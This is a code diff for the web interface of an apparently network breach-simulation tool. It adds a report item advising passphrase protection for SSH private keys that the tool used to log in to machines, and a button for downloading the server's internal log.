<ScannedServers data={this.state.report.glance.scanned}/>
</div>
<div>
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
<StolenPasswords data={this.state.report.glance.stolen_creds, this.state.report.glance.ssh_keys}/>
</div>
</div>
);
@ -524,6 +527,22 @@ class ReportPageComponent extends AuthComponent {
);
}
generateSshKeysIssue(issue) {
return (
<li>
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">SSH</span> attack.
<br/>
The Monkey authenticated over the SSH protocol with private key <span
className="label label-success">{issue.ssh_key}</span>.
</CollapsibleWellComponent>
</li>
);
}
generateRdpIssue(issue) {
return (
<li>
@ -672,6 +691,9 @@ class ReportPageComponent extends AuthComponent {
case 'ssh':
data = this.generateSshIssue(issue);
break;
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp':
data = this.generateRdpIssue(issue);
break;

View File

@ -1,8 +1,9 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {Button, Col} from 'react-bootstrap';
import JSONTree from 'react-json-tree'
import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
const renderTime = (val) => val.split('.')[0];
@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects}));
};
downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
let filename = 'Island_log'
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
};
render() {
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Log</h1>
<div className="data-table-container">
<DataTable
keys="name"
columns={columns}
initialData={this.state.data}
initialPageLength={20}
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
pageLengthOptions={[ 20, 50, 100 ]}
/>
</div>
</Col>
<div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title">Log</h1>
<div className="data-table-container">
<DataTable
keys="name"
columns={columns}
initialData={this.state.data}
initialPageLength={20}
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
pageLengthOptions={[ 20, 50, 100 ]}
/>
</div>
</Col>
</div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title"> Monkey Island Logs </h1>
<div className="text-center" style={{marginBottom: '20px'}}>
<p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p>
<Button bsSize="large" onClick={()=> {
this.downloadIslandLog();
}}>
<i className="glyphicon glyphicon-download"/> Download </Button>
</div>
</Col>
</div>
</div>
);
}
}